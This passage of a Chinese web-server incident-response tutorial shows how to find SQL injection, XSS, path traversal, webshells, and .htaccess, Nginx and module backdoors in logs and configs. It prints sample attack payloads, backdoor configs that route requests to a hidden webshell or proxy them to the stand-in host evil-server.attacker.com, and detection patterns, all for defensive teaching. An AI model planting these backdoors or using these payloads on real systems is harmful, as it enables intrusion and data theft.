1. 1. Nginx 与 Apache 应急响应
  2. 2. 一、日志格式与位置
    1. 2.1. 1.1 Nginx 日志
      1. 2.1.1. 日志文件位置
      2. 2.1.2. access.log 格式解析(combined 格式)
      3. 2.1.3. error.log 配置
      4. 2.1.4. 自定义日志格式
    2. 2.2. 1.2 Apache 日志
      1. 2.2.1. 日志文件位置
      2. 2.2.2. 日志格式
      3. 2.2.3. error_log
      4. 2.2.4. mod_security 审计日志
  3. 3. 二、Web 攻击日志分析(重点)
    1. 3.1. 2.1 SQL 注入特征
      1. 3.1.1. URL 中的典型特征
      2. 3.1.2. 检测命令
      3. 3.1.3. 样本日志分析
    2. 3.2. 2.2 XSS 攻击特征
      1. 3.2.1. 典型 Payload
      2. 3.2.2. 检测命令
    3. 3.3. 2.3 目录遍历特征
      1. 3.3.1. 典型 Payload
      2. 3.3.2. 检测命令
    4. 3.4. 2.4 Webshell 上传检测
      1. 3.4.1. 日志特征
      2. 3.4.2. 检测方法
      3. 3.4.3. Webshell 文件特征检测
    5. 3.5. 2.5 扫描器特征检测
      1. 3.5.1. 常见扫描器 User-Agent
      2. 3.5.2. 扫描行为特征
    6. 3.6. 2.6 综合攻击检测脚本
  4. 4. 三、配置文件后门
    1. 4.1. 3.1 Apache .htaccess 后门
      1. 4.1.1. 让非 PHP 文件当 PHP 执行
      2. 4.1.2. mod_rewrite 隐藏后门
      3. 4.1.3. 自动追加/前置 PHP 代码
      4. 4.1.4. .htaccess 修改时间检查
    2. 4.2. 3.2 Nginx 配置注入
      1. 4.2.1. include 指令加载恶意配置
      2. 4.2.2. location 块反向代理到恶意服务器
      3. 4.2.3. 检测方法
      4. 4.2.4. 对比检测
  5. 5. 四、模块后门
    1. 5.1. 4.1 Apache 恶意模块
      1. 5.1.1. 恶意模块的能力
      2. 5.1.2. 检测方法
    2. 5.2. 4.2 Nginx 动态模块后门
      1. 5.2.1. 检测方法
      2. 5.2.2. 已知的 Nginx 后门模块
  6. 6. 五、日志分析工具
    1. 6.1. 5.1 GoAccess 实时分析
    2. 6.2. 5.2 awk one-liners 实战
      1. 6.2.1. Top IP(请求量排行)
      2. 6.2.2. Top URL(被请求最多的路径)
      3. 6.2.3. Top User-Agent
      4. 6.2.4. 按小时统计请求量
      5. 6.2.5. 提取所有 POST 请求
      6. 6.2.6. 提取所有 5xx 错误
      7. 6.2.7. 带宽消耗 Top IP
      8. 6.2.8. 特定 IP 的完整请求时间线
      9. 6.2.9. 响应时间异常检测(需要日志格式包含 $request_time)
    3. 6.3. 5.3 攻击时间线重建
  7. 7. 六、应急处置与加固
    1. 7.1. 6.1 Webshell 清理
    2. 7.2. 6.2 配置审计
    3. 7.3. 6.3 WAF 部署
      1. 7.3.1. Nginx + ModSecurity
      2. 7.3.2. Apache + mod_security
    4. 7.4. 6.4 安全头部配置
      1. 7.4.1. Nginx 安全头部
      2. 7.4.2. Apache 安全头部
      3. 7.4.3. 其他加固配置
  8. 8. 七、实战练习
    1. 8.1. 7.1 实验环境
    2. 8.2. 7.2 练习一:Web 攻击日志分析
    3. 8.3. 7.3 练习二:配置后门检测
    4. 8.4. 7.4 练习三:综合应急响应
    5. 8.5. 7.5 练习四:日志分析脚本编写
    6. 8.6. 7.6 思考题

Linux应急响应 - 12 Nginx与Apache应急

Nginx 与 Apache 应急响应

Nginx 和 Apache 是 Linux 环境中最主流的 Web 服务器/反向代理。在应急响应中,它们的日志是还原攻击链的核心证据来源。本章涵盖日志分析、Web 攻击检测、配置文件后门、模块后门的排查方法,以及实用的日志分析工具和技巧。

关联章节:

03-日志分析基础 — 通用日志分析方法论

06-文件系统取证 — 文件系统层面的取证分析

30-YARA规则 — 使用 YARA 规则检测恶意文件

一、日志格式与位置

1.1 Nginx 日志

日志文件位置

发行版 默认日志路径 配置文件路径
Ubuntu/Debian /var/log/nginx/access.log /etc/nginx/nginx.conf
CentOS/RHEL /var/log/nginx/access.log /etc/nginx/nginx.conf
源码编译安装 /usr/local/nginx/logs/access.log /usr/local/nginx/conf/nginx.conf

快速定位日志路径:

1
2
3
4
5
6
7
# 从 Nginx 配置中提取日志路径
nginx -V 2>&1 | grep -oP 'conf-path=\K\S+'
grep -r "access_log\|error_log" /etc/nginx/ 2>/dev/null

# 如果 Nginx 不在默认路径
ps aux | grep "[n]ginx"
# 查看 master 进程的命令行参数获取配置文件位置

access.log 格式解析(combined 格式)

默认的 combined 格式定义:

1
2
3
log_format combined '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent"';

示例日志行:

1
192.168.1.100 - - [15/Mar/2026:14:23:01 +0800] "GET /index.html HTTP/1.1" 200 1234 "https://example.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

各字段含义:

192.168.1.100$remote_addr:客户端 IP 地址

第一个 -$remote_user 对应的 ident 查询结果(几乎总是 -

第二个 -$remote_user:HTTP 认证用户名(未认证时为 -

[15/Mar/2026:14:23:01 +0800]$time_local:请求时间

"GET /index.html HTTP/1.1"$request:请求行(方法 + URI + 协议)

200$status:HTTP 响应状态码

1234$body_bytes_sent:响应体字节数

"https://example.com/"$http_referer:来源页面

"Mozilla/5.0 ..."$http_user_agent:用户代理字符串

error.log 配置

1
2
3
4
# error.log 级别(从低到高)
# debug | info | notice | warn | error | crit | alert | emerg

error_log /var/log/nginx/error.log warn;

应急时建议查看 error.log,可能包含:

权限错误(攻击者尝试访问受限资源)

上游连接超时(可能是后端被入侵导致异常)

配置错误(可能是攻击者修改配置导致的)

自定义日志格式

生产环境通常使用增强格式,包含更多信息:

1
2
3
4
5
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'$request_time $upstream_response_time '
'"$http_x_forwarded_for"';

应急分析时务必先确认日志格式,否则 awk 提取字段会出错:

1
2
3
4
5
# 查看当前使用的日志格式
grep -A5 "log_format" /etc/nginx/nginx.conf

# 查看 access_log 使用的格式名
grep "access_log" /etc/nginx/nginx.conf /etc/nginx/conf.d/*.conf /etc/nginx/sites-enabled/*

1.2 Apache 日志

日志文件位置

发行版 默认日志路径 配置文件路径
Ubuntu/Debian /var/log/apache2/access.log /etc/apache2/apache2.conf
CentOS/RHEL /var/log/httpd/access_log /etc/httpd/conf/httpd.conf
源码编译安装 /usr/local/apache2/logs/access_log /usr/local/apache2/conf/httpd.conf

注意命名差异:Ubuntu 用 access.log(带 .),CentOS 用 access_log(带 _

日志格式

1
2
3
4
5
6
7
8
# common 格式
LogFormat "%h %l %u %t \"%r\" %>s %b" common

# combined 格式(推荐)
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

# 使用
CustomLog /var/log/apache2/access.log combined

字段与 Nginx combined 格式基本一致

%>s 表示最终状态码(经过内部重定向后的)

error_log

1
2
3
4
5
6
7
8
# Ubuntu
/var/log/apache2/error.log

# CentOS
/var/log/httpd/error_log

# 级别配置
# LogLevel warn

mod_security 审计日志

如果安装了 mod_security(Web 应用防火墙),会有详细的审计日志:

1
2
3
4
5
6
7
8
9
10
11
# 默认审计日志位置
/var/log/modsec_audit.log
# 或
/var/log/apache2/modsec_audit.log

# 检查 mod_security 是否安装
apache2ctl -M | grep security # Ubuntu
httpd -M | grep security # CentOS

# mod_security 日志包含完整的请求头和请求体
# 对于分析攻击 payload 非常有价值

审计日志格式由多个 Section 组成:

Section A:审计日志头(时间、事务 ID)

Section B:请求头

Section C:请求体

Section F:响应头

Section H:审计日志尾(匹配的规则等)

二、Web 攻击日志分析(重点)

2.1 SQL 注入特征

URL 中的典型特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# UNION 注入
GET /product?id=1 UNION SELECT 1,2,3,username,password FROM users-- HTTP/1.1
GET /product?id=1%20UNION%20SELECT%201,2,3,username,password%20FROM%20users-- HTTP/1.1

# 布尔盲注
GET /product?id=1 AND 1=1 HTTP/1.1
GET /product?id=1 AND 1=2 HTTP/1.1
GET /product?id=1' AND 'a'='a HTTP/1.1

# 时间盲注
GET /product?id=1 AND SLEEP(5) HTTP/1.1
GET /product?id=1; WAITFOR DELAY '0:0:5' HTTP/1.1

# 报错注入
GET /product?id=1 AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e)) HTTP/1.1

# 万能密码
POST /login HTTP/1.1 (body: username=admin' OR 1=1--&password=anything)

检测命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 检测 UNION 注入
grep -iE "union\s+(all\s+)?select" /var/log/nginx/access.log

# 检测常见 SQL 关键字组合
grep -iE "(select|union|insert|update|delete|drop|exec|execute|xp_|sp_|0x)" /var/log/nginx/access.log | grep -iE "(from|where|having|order by|group by|concat|char\(|chr\()"

# 检测 URL 编码的 SQL 注入
grep -iE "%27|%22|%23|%2D%2D|%3B|%20OR%20|%20AND%20|%20UNION%20" /var/log/nginx/access.log

# 检测单引号注入尝试
grep -E "('|%27)" /var/log/nginx/access.log | grep -iE "(or|and|select|union|drop|insert)" | head -50

# 综合 SQL 注入检测(宽松匹配,可能有误报)
grep -iE "(union.*select|or\s+1\s*=\s*1|'\s*(or|and)\s+'|sleep\s*\(|benchmark\s*\(|extractvalue|updatexml|concat\s*\()" /var/log/nginx/access.log

样本日志分析

1
2
3
4
5
185.220.101.34 - - [15/Mar/2026:03:14:22 +0800] "GET /product?id=1' HTTP/1.1" 500 234 "-" "sqlmap/1.6.12#stable"
185.220.101.34 - - [15/Mar/2026:03:14:23 +0800] "GET /product?id=1%20AND%201=1 HTTP/1.1" 200 5678 "-" "sqlmap/1.6.12#stable"
185.220.101.34 - - [15/Mar/2026:03:14:24 +0800] "GET /product?id=1%20AND%201=2 HTTP/1.1" 200 0 "-" "sqlmap/1.6.12#stable"
185.220.101.34 - - [15/Mar/2026:03:14:30 +0800] "GET /product?id=1%20UNION%20SELECT%201,2,3,4,5 HTTP/1.1" 200 5690 "-" "sqlmap/1.6.12#stable"
185.220.101.34 - - [15/Mar/2026:03:15:01 +0800] "GET /product?id=1%20UNION%20SELECT%201,username,password,4,5%20FROM%20users HTTP/1.1" 200 8901 "-" "sqlmap/1.6.12#stable"

分析:

User-Agent 为 sqlmap — 自动化 SQL 注入工具,无伪装意识

请求顺序:单引号测试 → 布尔测试(1=1 vs 1=2)→ UNION 列数探测 → 数据提取

200 响应 + 不同的 body_bytes_sent → 注入成功

最后一条响应 8901 字节明显较大 → 成功提取了用户数据

2.2 XSS 攻击特征

典型 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 基础 XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# URL 编码形式(在日志中更常见)
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src=x%20onerror=alert(1)%3E

# 事件处理器
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

# JavaScript 协议
javascript:alert(document.cookie)

检测命令

1
2
3
4
5
6
7
8
9
10
11
# 检测 script 标签
grep -iE "(<|%3C)\s*script|javascript:" /var/log/nginx/access.log

# 检测事件处理器
grep -iE "onerror\s*=|onload\s*=|onmouseover\s*=|onfocus\s*=|onclick\s*=" /var/log/nginx/access.log

# 检测 URL 编码的 XSS
grep -iE "%3Cscript|%3Csvg|%3Cimg.*onerror" /var/log/nginx/access.log

# 检测 alert/prompt/confirm(常见测试函数)
grep -iE "alert\s*\(|prompt\s*\(|confirm\s*\(|document\.cookie|document\.domain" /var/log/nginx/access.log

2.3 目录遍历特征

典型 Payload

1
2
3
4
5
6
7
8
9
10
11
12
# 直接路径遍历
GET /download?file=../../../etc/passwd
GET /static/../../../etc/shadow

# URL 编码
GET /download?file=..%2F..%2F..%2Fetc%2Fpasswd

# 双编码绕过
GET /download?file=..%252F..%252F..%252Fetc%252Fpasswd

# 空字节截断(老版本漏洞)
GET /download?file=../../../etc/passwd%00.jpg

检测命令

1
2
3
4
5
6
7
8
9
10
11
# 检测基本路径遍历
grep -E "\.\./|\.\.%2[fF]|\.\.\\\\|%2e%2e" /var/log/nginx/access.log

# 检测常见目标文件
grep -iE "/etc/passwd|/etc/shadow|/etc/hosts|/proc/self|/windows/system32" /var/log/nginx/access.log

# 检测双编码
grep -E "%25" /var/log/nginx/access.log | grep -iE "2e|2f"

# 统计路径遍历攻击的来源 IP
grep -E "\.\./|\.\.%2[fF]" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

2.4 Webshell 上传检测

日志特征

1
2
3
4
5
6
# 文件上传请求(通常是 POST)
185.220.101.34 - - [15/Mar/2026:03:20:00 +0800] "POST /upload.php HTTP/1.1" 200 45 "-" "Python-urllib/3.8"

# 上传后立即访问 Webshell
185.220.101.34 - - [15/Mar/2026:03:20:05 +0800] "POST /uploads/shell.php HTTP/1.1" 200 1234 "-" "Python-urllib/3.8"
185.220.101.34 - - [15/Mar/2026:03:20:10 +0800] "POST /uploads/shell.php HTTP/1.1" 200 5678 "-" "Python-urllib/3.8"

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查找 POST 请求到非常规路径
grep "POST" /var/log/nginx/access.log | grep -iE "\.(php|jsp|asp|aspx|jspx|war)(\s|%20|\?)" | head -50

# 查找可疑的新文件被访问(只有少数 IP 访问,且都是 POST)
# 首先找出所有被 POST 请求的 URL
grep "POST" /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -30

# 查找只有 1-2 个 IP 访问的 URL(可能是只有攻击者在访问的 Webshell)
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -n | head -30

# 交叉分析:某个 URL 只有特定 IP 在访问
awk '{print $1, $7}' /var/log/nginx/access.log | sort | uniq | awk '{print $2}' | sort | uniq -c | sort -n | head -30

# 在文件系统中验证可疑文件
find /var/www/ -name "*.php" -mtime -7 -exec ls -la {} \;
find /var/www/ -name "*.php" -newer /var/www/html/index.php

Webshell 文件特征检测

1
2
3
4
5
6
7
8
# PHP Webshell 特征
grep -rlE "eval\s*\(|assert\s*\(|system\s*\(|exec\s*\(|passthru\s*\(|shell_exec\s*\(|popen\s*\(|proc_open" /var/www/ --include="*.php"

# 检测 base64 编码的恶意代码
grep -rl "base64_decode\|gzinflate\|gzuncompress\|str_rot13\|eval(" /var/www/ --include="*.php"

# 检测特殊的文件权限
find /var/www/ -name "*.php" -perm -o+w -exec ls -la {} \;

2.5 扫描器特征检测

常见扫描器 User-Agent

1
2
3
4
5
6
7
8
# 检测已知扫描工具的 User-Agent
grep -iE "sqlmap|nmap|nikto|dirsearch|gobuster|wfuzz|burpsuite|acunetix|nessus|openvas|masscan|zmap|whatweb|nuclei|xray" /var/log/nginx/access.log

# 检测常见爬虫/扫描器标识
grep -iE "scanner|crawler|spider|bot|fuzzer|exploit|attack|hack|pentest" /var/log/nginx/access.log

# 统计 User-Agent 分布
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30

扫描行为特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 检测大量 404 响应(目录枚举特征)
awk '$9 == 404 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 检测短时间内大量请求(每分钟超过 100 次)
awk '{
split($4, a, ":");
minute = a[1] ":" a[2] ":" a[3];
key = $1 " " minute;
count[key]++
} END {
for (k in count) {
if (count[k] > 100) print count[k], k
}
}' /var/log/nginx/access.log | sort -rn | head -20

# 检测对敏感路径的探测
grep -iE "/(admin|manager|phpmyadmin|wp-admin|wp-login|.env|.git|.svn|backup|config|db|sql|shell|cmd|test)" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

# 检测对常见漏洞路径的探测
grep -iE "/(cgi-bin|phpinfo|wp-content/uploads|xmlrpc|api/jsonws|actuator|druid|swagger)" /var/log/nginx/access.log | head -30

2.6 综合攻击检测脚本

将上述检测命令整合为一个快速分析脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/bash
# Web 攻击日志快速分析脚本

LOG_FILE="${1:-/var/log/nginx/access.log}"

if [ ! -f "$LOG_FILE" ]; then
echo "日志文件不存在: $LOG_FILE"
exit 1
fi

echo "=========================================="
echo " Web 攻击日志快速分析"
echo " 分析文件: $LOG_FILE"
echo " 日志行数: $(wc -l < "$LOG_FILE")"
echo "=========================================="

echo ""
echo "[1] SQL 注入检测"
echo "---"
SQL_COUNT=$(grep -ciE "union.*select|or\s+1\s*=\s*1|'\s*(or|and)|sleep\s*\(|benchmark\s*\(|extractvalue|updatexml" "$LOG_FILE")
echo " 发现 SQL 注入特征请求: $SQL_COUNT 条"
grep -iE "union.*select|or\s+1\s*=\s*1|'\s*(or|and)|sleep\s*\(|benchmark\s*\(" "$LOG_FILE" | awk '{print $1}' | sort | uniq -c | sort -rn | head -5 | while read count ip; do
echo " $ip: $count 次"
done

echo ""
echo "[2] XSS 攻击检测"
echo "---"
XSS_COUNT=$(grep -ciE "(<|%3C)\s*script|javascript:|onerror\s*=|onload\s*=" "$LOG_FILE")
echo " 发现 XSS 攻击特征请求: $XSS_COUNT 条"

echo ""
echo "[3] 目录遍历检测"
echo "---"
TRAV_COUNT=$(grep -cE "\.\./|\.\.%2[fF]" "$LOG_FILE")
echo " 发现目录遍历特征请求: $TRAV_COUNT 条"

echo ""
echo "[4] 扫描器检测"
echo "---"
SCAN_COUNT=$(grep -ciE "sqlmap|nmap|nikto|dirsearch|gobuster|nuclei|xray|acunetix" "$LOG_FILE")
echo " 发现扫描器请求: $SCAN_COUNT 条"

echo ""
echo "[5] 大量 404 的 IP(可能在目录枚举)"
echo "---"
awk '$9 == 404 {print $1}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -10 | while read count ip; do
echo " $ip: $count 次 404"
done

echo ""
echo "[6] 请求频率 Top 10 IP"
echo "---"
awk '{print $1}' "$LOG_FILE" | sort | uniq -c | sort -rn | head -10 | while read count ip; do
echo " $ip: $count 次请求"
done

echo ""
echo "[7] 可疑 User-Agent"
echo "---"
awk -F'"' '{print $6}' "$LOG_FILE" | sort | uniq -c | sort -rn | grep -iE "python|curl|wget|go-http|java|perl|ruby|scanner|bot" | head -10

echo ""
echo "=========================================="
echo " 分析完成"
echo "=========================================="

三、配置文件后门

3.1 Apache .htaccess 后门

.htaccess 是 Apache 的分布式配置文件,可以在不修改主配置的情况下改变目录级别的行为。攻击者可以利用它实现多种后门:

让非 PHP 文件当 PHP 执行

1
2
3
4
5
6
7
8
9
# 将 .jpg 文件作为 PHP 解析 — 图片马利用
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
AddType application/x-httpd-php .gif

# 或使用 SetHandler
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

效果:上传一个 image.jpg(内容实际是 PHP 代码),可以当 PHP 执行

检测:

1
2
3
4
5
6
7
8
# 查找所有 .htaccess 文件
find /var/www/ -name ".htaccess" -exec ls -la {} \;

# 检查是否包含 AddType 或 SetHandler 的可疑配置
find /var/www/ -name ".htaccess" -exec grep -lE "AddType.*php|SetHandler.*php|application/x-httpd-php" {} \;

# 查看可疑 .htaccess 的内容
find /var/www/ -name ".htaccess" -exec echo "=== {} ===" \; -exec cat {} \;

mod_rewrite 隐藏后门

1
2
3
4
5
6
7
# 将特定 URL 路径重写到隐藏的 Webshell
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^secret-agent$
RewriteRule ^(.*)$ /uploads/.hidden_shell.php [L]

# 效果:只有 User-Agent 为 "secret-agent" 的请求才会被路由到 Webshell
# 正常访问不受影响,非常隐蔽

检测:

1
2
3
4
5
# 检查所有 .htaccess 中的重写规则
find /var/www/ -name ".htaccess" -exec grep -lE "RewriteRule|RewriteCond" {} \;

# 重点检查包含 User-Agent 条件的重写
find /var/www/ -name ".htaccess" -exec grep -A2 "HTTP_USER_AGENT" {} \;

自动追加/前置 PHP 代码

1
2
3
# 在所有 PHP 文件执行前/后自动加载恶意代码
php_value auto_prepend_file /tmp/.hidden/backdoor.php
php_value auto_append_file /tmp/.hidden/logger.php

效果:所有 PHP 请求都会先执行 backdoor.php 的代码

检测:

1
2
3
4
5
find /var/www/ -name ".htaccess" -exec grep -lE "auto_prepend_file|auto_append_file" {} \;

# 同时检查 PHP 配置
php -i | grep -E "auto_prepend|auto_append"
grep -rE "auto_prepend|auto_append" /etc/php/ 2>/dev/null

.htaccess 修改时间检查

1
2
3
4
5
# 查找最近修改的 .htaccess
find /var/www/ -name ".htaccess" -mtime -30 -exec ls -la {} \;

# 与已知良好的 .htaccess 对比(如果有备份)
diff /var/www/html/.htaccess /backup/www/html/.htaccess

3.2 Nginx 配置注入

include 指令加载恶意配置

1
2
3
4
5
6
# 攻击者可能在 nginx.conf 中添加恶意的 include
include /tmp/.nginx_backdoor.conf;

# 或利用通配符 include 在合法目录中放入恶意配置
# 如果主配置中有: include /etc/nginx/conf.d/*.conf;
# 攻击者可能创建: /etc/nginx/conf.d/backdoor.conf

location 块反向代理到恶意服务器

1
2
3
4
5
6
7
8
9
# 将特定路径的请求代理到攻击者控制的服务器
location /api/internal/ {
proxy_pass http://evil-server.attacker.com:8080/;
}

# 更隐蔽的方式:使用条件判断
if ($http_x_secret = "backdoor_key") {
proxy_pass http://evil-server.attacker.com:8080;
}

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 列出所有 Nginx 配置文件
find /etc/nginx/ -name "*.conf" -exec ls -la {} \;

# 检查所有 include 指令(追踪完整的配置加载链)
grep -rn "include" /etc/nginx/ 2>/dev/null

# 检查非标准路径的 include
grep -rn "include" /etc/nginx/ | grep -vE "/etc/nginx|/usr/share/nginx|mime\.types|fastcgi"

# 检查所有 proxy_pass 指令
grep -rn "proxy_pass" /etc/nginx/ 2>/dev/null

# 检查配置文件的修改时间
find /etc/nginx/ -name "*.conf" -mtime -30 -exec ls -la {} \;

# 测试 Nginx 配置语法(顺便看加载了哪些文件)
nginx -T 2>/dev/null | head -100

# nginx -T 会输出完整的合并后配置,非常有用
# 可以看到所有 include 的文件内容

对比检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 如果有配置管理系统(Ansible/Puppet/SaltStack),对比当前配置与配置管理中的版本
# 如果没有,对比备份

# 快速检查配置文件是否被修改(使用包管理器)
# Ubuntu/Debian
dpkg --verify nginx

# CentOS/RHEL
rpm -V nginx

# 输出格式说明:
# S — 文件大小变化
# M — 权限变化
# 5 — MD5 校验和变化
# T — 修改时间变化
# 如果有 "5" 标记,说明文件内容被修改

四、模块后门

4.1 Apache 恶意模块

Apache 支持通过 LoadModule 指令加载动态共享对象(DSO),攻击者可以编译恶意模块实现后门:

恶意模块的能力

在所有请求/响应中注入内容

窃取认证凭据

根据特定请求触发命令执行

完全透明,不留下文件 Webshell

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 列出当前加载的所有模块
apache2ctl -M # Ubuntu
httpd -M # CentOS

# 查看配置中的 LoadModule 指令
grep -rn "LoadModule" /etc/apache2/ 2>/dev/null # Ubuntu
grep -rn "LoadModule" /etc/httpd/ 2>/dev/null # CentOS

# 列出模块目录中的所有 .so 文件
ls -la /usr/lib/apache2/modules/ # Ubuntu
ls -la /usr/lib64/httpd/modules/ # CentOS

# 对比已安装模块与默认模块列表
# Ubuntu
dpkg -L libapache2-mod-* 2>/dev/null | grep "\.so$" | sort > /tmp/default_modules.txt
ls /usr/lib/apache2/modules/*.so | sort > /tmp/current_modules.txt
diff /tmp/default_modules.txt /tmp/current_modules.txt

# CentOS
rpm -ql httpd | grep "\.so$" | sort > /tmp/default_modules.txt
ls /usr/lib64/httpd/modules/*.so | sort > /tmp/current_modules.txt
diff /tmp/default_modules.txt /tmp/current_modules.txt

# 检查模块文件的修改时间
find /usr/lib/apache2/modules/ -name "*.so" -mtime -30 -exec ls -la {} \; # Ubuntu
find /usr/lib64/httpd/modules/ -name "*.so" -mtime -30 -exec ls -la {} \; # CentOS

# 使用 strings 检查可疑模块
strings /usr/lib/apache2/modules/suspicious_mod.so | grep -iE "shell|exec|system|backdoor|password"

# 校验模块文件完整性
# Ubuntu
dpkg --verify libapache2-mod-*
# CentOS
rpm -V httpd

4.2 Nginx 动态模块后门

Nginx 1.9.11+ 支持动态模块加载:

1
load_module modules/ngx_http_backdoor_module.so;

检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 检查 load_module 指令
grep -rn "load_module" /etc/nginx/ 2>/dev/null

# 列出模块目录中的文件
ls -la /usr/lib/nginx/modules/ # Ubuntu
ls -la /usr/lib64/nginx/modules/ # CentOS
# 或
ls -la /etc/nginx/modules/

# 对比默认模块
# Ubuntu
dpkg -L nginx-* 2>/dev/null | grep "\.so$" | sort > /tmp/default_nginx_modules.txt
ls /usr/lib/nginx/modules/*.so 2>/dev/null | sort > /tmp/current_nginx_modules.txt
diff /tmp/default_nginx_modules.txt /tmp/current_nginx_modules.txt

# 检查编译参数(静态编译的模块)
nginx -V 2>&1 | tr ' ' '\n' | grep "module"

# 使用 strings 检查可疑模块
for mod in /usr/lib/nginx/modules/*.so; do
echo "=== $mod ==="
strings "$mod" | grep -iE "shell|exec|system|backdoor|password" | head -5
done

已知的 Nginx 后门模块

ngx_http_lua_module 滥用:如果安装了 Lua 模块(OpenResty),攻击者可能在配置中嵌入 Lua 代码后门

1
2
3
4
5
# 检查 Nginx 配置中的 Lua 代码
grep -rn "content_by_lua\|access_by_lua\|rewrite_by_lua\|body_filter_by_lua" /etc/nginx/ 2>/dev/null

# 检查引用的 Lua 文件
grep -rn "lua_file\|lua_package_path" /etc/nginx/ 2>/dev/null

五、日志分析工具

5.1 GoAccess 实时分析

GoAccess 是一个实时的 Web 日志分析工具,支持终端和 HTML 报告:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 安装
apt install goaccess # Ubuntu
yum install goaccess # CentOS

# 终端实时分析
goaccess /var/log/nginx/access.log --log-format=COMBINED

# 生成 HTML 报告
goaccess /var/log/nginx/access.log --log-format=COMBINED -o /tmp/report.html

# 分析多个日志文件
zcat /var/log/nginx/access.log.*.gz | goaccess --log-format=COMBINED -o /tmp/report.html

# Apache 日志
goaccess /var/log/apache2/access.log --log-format=COMBINED

GoAccess 报告包含:

请求 IP 排行

请求 URL 排行

404 页面排行

User-Agent 统计

地理位置分布(如果安装了 GeoIP 库)

每日/每小时访问趋势

5.2 awk one-liners 实战

Top IP(请求量排行)

1
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

Top URL(被请求最多的路径)

1
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

Top User-Agent

1
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

按小时统计请求量

1
2
3
4
5
6
7
awk '{
split($4, a, ":");
hour = a[2];
count[hour]++
} END {
for (h in count) print h ":00", count[h]
}' /var/log/nginx/access.log | sort

提取所有 POST 请求

1
2
3
4
5
6
7
awk '$6 ~ /POST/' /var/log/nginx/access.log

# 或更精确
grep '"POST ' /var/log/nginx/access.log

# POST 请求的 URL 统计
grep '"POST ' /var/log/nginx/access.log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20

提取所有 5xx 错误

1
2
3
4
5
6
7
8
9
10
11
12
13
awk '$9 ~ /^5/' /var/log/nginx/access.log

# 5xx 错误按 URL 统计
awk '$9 ~ /^5/ {print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 5xx 错误按 IP 统计
awk '$9 ~ /^5/ {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 5xx 错误按小时统计(发现攻击时间窗口)
awk '$9 ~ /^5/ {
split($4, a, ":");
printf "%s %s:00\n", a[1], a[2]
}' /var/log/nginx/access.log | sort | uniq -c | sort -rn

带宽消耗 Top IP

1
2
3
4
5
6
7
awk '{
ip = $1;
bytes = $10 + 0;
total[ip] += bytes
} END {
for (ip in total) printf "%s\t%.2f MB\n", ip, total[ip]/1024/1024
}' /var/log/nginx/access.log | sort -t$'\t' -k2 -rn | head -20

特定 IP 的完整请求时间线

1
2
3
# 查看某个可疑 IP 的所有请求
TARGET_IP="185.220.101.34"
grep "^${TARGET_IP}" /var/log/nginx/access.log | awk '{print $4, $6, $7, $9}' | sed 's/\[//'

响应时间异常检测(需要日志格式包含 $request_time)

1
2
3
# 如果日志格式包含 request_time(通常在最后一个或倒数第二个字段)
# 查找响应时间超过 5 秒的请求
awk '{if ($(NF) > 5) print $0}' /var/log/nginx/access.log | head -20

5.3 攻击时间线重建

时间线重建是应急响应中最重要的分析步骤之一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 步骤1:确定攻击者 IP(通过前面的分析)
ATTACKER_IP="185.220.101.34"

# 步骤2:提取该 IP 的所有请求,按时间排序
grep "^${ATTACKER_IP}" /var/log/nginx/access.log > /tmp/attacker_timeline.txt

# 步骤3:分析攻击阶段
echo "=== 总请求数 ==="
wc -l /tmp/attacker_timeline.txt

echo "=== 首次请求 ==="
head -1 /tmp/attacker_timeline.txt

echo "=== 最后请求 ==="
tail -1 /tmp/attacker_timeline.txt

echo "=== 请求方法分布 ==="
awk '{print $6}' /tmp/attacker_timeline.txt | tr -d '"' | sort | uniq -c | sort -rn

